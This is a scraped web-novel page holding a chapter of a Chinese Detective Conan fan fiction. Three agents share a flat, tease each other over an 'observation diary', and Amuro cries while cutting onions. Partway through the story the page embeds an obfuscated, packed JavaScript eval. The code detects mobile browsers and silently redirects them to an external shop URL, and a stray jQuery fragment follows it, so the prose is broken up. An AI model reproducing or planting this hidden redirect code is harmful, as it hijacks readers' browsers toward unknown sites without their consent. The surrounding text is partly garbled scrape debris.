文趣网 > 都市小说 > [柯南]金毛室友总是不怀好意 > 21.他对我很重要
    ……好像不小心睡着了一会儿。

    窗帘没拉,外面的天已经完全黑下来了。

    羽泽熙真从床上坐起来,揉了把脸,搓掉那点残存的睡意。

    把客人扔在客厅和自己的室友单独交流,似乎不是很礼貌的行为,他想。希望波本没有对苏格兰做一些更失礼的事。

    他可能会和苏格兰聊得很愉快,也可能会把苏格兰绑起来塞进衣柜里,在羽泽熙真对他的印象里,前者和后者出现的概率差不多。

    羽泽熙真走出卧室,外面却意外的很安静。

    客厅的灯开着,沙发前的茶几上摆着两个杯子,一个喝了一半,一个喝完了,杯底还剩一点水渍。杯子旁边是一盒拆开的饼干,吃了几块,包装袋敞着口,羽泽熙真记得自己没买过这个牌子的饼干。

    沙发上坐着两个人。绿川光正低着头看手中的东西,那是一个笔记本,巴掌大小,黑色封皮。安室透凑在他旁边,两人肩膀挨着肩膀,贴得很近。

    “啊,清酒。”

    绿川光发现了他的靠近,缩了缩脖子,似乎有一瞬间的心虚。安室透也抬头望过来。

    “不好意思,刚刚睡着了。”羽泽熙真走过去,“你们在看什么?”

    绿川光有点犹豫地看了安室透一眼。

    安室透笑着摇了摇头。

    “没什么重要的。”他说,“这个是——‘关于清酒的观察日志’。”

    羽泽熙真:“哈?”

    他差点以为自己听错了。用“观察”这种表述,让人有种被当成了一只实验动物的感觉。

    “作者是谁?”

    “我。”安室透理不直气也壮地答道,毫无心虚。

    他写这个,是为了给朗姆交差?

    羽泽熙真觉得很有可能,朗姆把安室透塞到他身边,就是要他来收集情报。如果他什么都不干,那才是最值得警惕的。

    他朝着安室透伸出手。

    “给我看看。”

    话音未落,安室透动作很快地把笔记本从绿川光手里抽了出来,抱进自己怀里,护的紧紧的,像一只母鸡在护崽。

    “不给。”

    “为什么?”

    “这是我的隐私。”

    羽泽熙真:“……?”

    你在我的家里,写关于我的观察日志,然后你告诉我这是你的隐私?这对吗?

    他转头看向旁边另一个正在假装自己不存在,专心致志研究桌上饼干的男人。

    “苏格兰。”

    “是。”绿川光坐直了。

    “那上面写了什么?”

    “呃……”

    绿川光想了想,朝着安室透露出一个带着歉意的微笑。

    “写了‘清酒’的生活习惯和行事风格,还有健康状况。”他答道。

    安室透没能来得及给绿川光写人物小传,但他用两个月的时间,先给羽泽熙真写了一份。

    令人感动。

    羽泽熙真在心里默默地给安室透的胆量打了个满分。

    算了,写就写吧。羽泽熙真觉得自己展示给安室透的日常中,好像也没有什么值得藏着掖着的。几点起床,几点睡觉,喜欢吃什么,不喜欢吃什么——无聊又琐碎,知道的人多一个波本不多,再加一个朗姆也不算多。

    “你们吃饭了吗?”他问。

    “还没有。”绿川光说。

    羽泽熙真点了点头:“那我去做。”

    他转身朝着厨房的方向走去。就在这时,绿川光从背后叫住了他。

    “等等……清酒。”绿川光站了起来,“我来做吧,你休息一下。”

    “没事。”

    “让我来吧。”绿川光轻声说。

    羽泽熙真从他的声音中听出了某种坚持。是因为他不想和安室透单独相处了吗?

    “好吧。”羽泽熙真耸了耸肩,让开路,“需要我帮忙吗?”

    “我来帮忙。”

    羽泽熙真还没来得及开口,安室透已经高高兴兴地跟着绿川光跑去厨房了。他手里还抱着那个笔记本,跑到一半才想起来,又折回去把它放在茶几上,然后又跑回来。

    “苏格兰想做什么?”安室透问,“我可以帮你备菜。”

    “喔,波本也会做料理啊,我还以为……”

    “我可以学。”安室透认真地说。

    意思是,现在还不会。

    “……嗯,好的。”绿川光保持微笑,“我打算做咖喱饭,能麻烦你处理一下食材吗?”

    “当然。”

    胡萝卜,鸡肉,土豆,洋葱。绿川光一样样把它们找到,拿出来。

    羽泽熙真看了看茶几上的笔记本,没去动它。他去厨房接了杯水,顺便参观了一下安室透的劳动成果。

    不得不说,波本大人在用刀这方面还是有天赋的,绿川光叮嘱他把土豆和胡萝卜切小一些,他果真没切大块。虽然形状不太美观,但至少没切到手。

    绿川光在一旁淘了米,蒸上了米饭,一切都在有条不紊地进行着。

    直到安室透拿起了洋葱。

    “这个要切吗?”

    绿川光回头看看他,点了点头。

    “要。”他说,“不过这个还是我来吧,可能会有些辣。”

    “没关系,我可以的。”

    安室透说得很自信,自信得让羽泽熙真觉得他在说梦话。

    他把洋葱放在案板上,剥掉外皮,两刀干脆切去头尾,汁液从切口渗出来。

    羽泽熙真抱着手臂靠在餐桌边,看着安室透的背影微微僵硬了一下。

    哈。

    安室透一刀一刀地切着。他真的很认真,低着头,眼睛盯着刀刃,咬着嘴唇,全神贯注。

    但洋葱不会因为你的专注就变得好切。它还是会辣眼睛。

    安室透的眼睛开始发红。他眨了眨眼,又眨了眨眼,眼泪从眼角流出来,顺着脸颊往下淌。他吸了吸鼻子,眯着眼睛继续切。

    看不清了。

    他抬起手背擦了一下眼睛,但他忘了手背上溅到了洋葱汁,越擦越辣,眼泪流得更厉害了。

    “……这个……有点辣。”

    他拿着菜刀,转过头,用那双泪汪汪的紫灰色眼睛看着绿川光。

    “苏格兰……”他的声音有点哑,带着一点鼻音,“这个好辣啊……怎么办?”

    绿川光又好气又好笑地转过身,但看清泪流满面的安室透后,他突然抿了抿唇,那笑意消失了。

    “让我看看。”

    他走近两步,轻轻用曲起的食指抬起安室透的下巴,让那张熟悉的脸微微仰起,暴露在他的视线下。

    zero,你……

    “……来,先把刀放下。”他移开食指,把菜刀从安室透手里抽了出来,放到案板上。

    羽泽熙真面无表情地看着绿川光带着安室透去水池洗脸。

    故意的吧。

    这家伙。

    被枪指着都能开玩笑的、英明神武的波本大人,因为切了一个洋葱,哭了。

    哭得梨花带雨,我见犹怜,好像真的受了天大的委屈。

    羽泽熙真很想用镜头记录下这珍贵的一幕,又怕到时候得罪了安室透,被他在“清酒观察日志”里添油加醋。

    这家伙真的不知道洋葱应该怎么处理吗?还是说,他只是想让苏格兰安慰安慰他?<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17623533|205914||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    偏偏这招还挺有用……喂,该死的你不要仗着自己看不见就往苏格兰怀里钻啊!

    羽泽熙真快步走过去,拎住了安室透的衣服后领。

    “亲爱的波本大人,”他笑道,“走,我帮你洗。不要继续干扰我们的晚饭进度了。”

    他的手指收紧,安室透被他拽得往后仰,晃了两下才稳住。

    “……”

    在绿川光有点担忧的目光下,安室透乖乖被羽泽熙真拽走了。

    由于安室透的视野还不算清晰,他们磕磕绊绊地来到了次卫。

    羽泽熙真有段时间没来这里了,自从安室透搬进来,次卫就变成了他的私人领地。比起两个月前的布置,现在这里的变化很大。

    多加了一个浴缸,防滑垫,还有安室透的个人洗护用品,瓶瓶罐罐的——就是他之前在超市精心挑选的那些,已经用掉一部分了。

    他拎着安室透的衣领走到洗手台前,打开水龙头,调成凉水。

    “闭眼。”他把安室透往前推了推。

    “什么?”安室透的声音听起来有点可怜,“……能不杀我吗?”

    鉴于他现在正在被羽泽熙真按着脑袋强行往冰凉的流水里压,这种猜测并不算非常离谱。

    “不能,今天你非死不可。”羽泽熙真面无表情,“快点把眼睛闭上。”

    “哦。”

    安室透闭上了眼睛,双手撑在洗手台边缘,低下头。

    羽泽熙真用手掌接住一些水,轻轻敷在他眼睛上。

    “清酒。”

    “嗯。”

    “你生气了?”

    羽泽熙真手上的动作顿了顿。

    “……我为什么要生气?”

    “不知道。”安室透说,“就是觉得你好像不太高兴。”

    “我也觉得你不太高兴。”

    安室透不吱声了,羽泽熙真感觉他的睫毛在自己手心颤了一下。

    羽泽熙真哼了一声。

    “别装了。”他凑到安室透耳边,“你到底在打什么主意?”

    “你靠得好近,清酒。”

    “不要转移话题。”

    羽泽熙真警告似得按了按他的脑袋,安室透的下巴差点磕到洗手台的边缘。

    油嘴滑舌的家伙,一下午都在围着苏格兰绕来绕去。

    羽泽熙真看不清哪个是真实的他,也看不清他的目的,但他的警惕已经升到顶点了。

    “我没有在打什么主意啊。”安室透困惑地说,“我真的被洋葱辣到了。”

    羽泽熙真在他脸上泼了一把水。

    “唔!”

    安室透扭过头,笑了笑。

    洗得差不多了。羽泽熙真关掉水龙头,随手从旁边的架子上拽了条毛巾。

    “不是那条。”安室透突然开口,“用左手边第二个,白色的。”

    真行。闭着眼都知道。

    羽泽熙真把刚刚拽下来的那条整整齐齐的给他挂回去,又取下所谓的“左手边第二条白色毛巾”,在安室透湿漉漉的脸上胡乱揉了几下。

    “还辣吗?”

    安室透试探着慢慢睁开眼,眨了眨。

    “不辣了。”他说,“谢谢。”

    眼前这个人模人样的家伙,会不会一出门又变成刚刚那个样子?羽泽熙真不知道。

    但……

    “波本。”

    “嗯?”

    “苏格兰对我来说很重要。”羽泽熙真看着他,“如果你对他有任何不好的企图——我不会放过你的。”

    安室透愣了愣,随即弯起眼睛。

    “……我不会做什么的,请别担心,清酒。”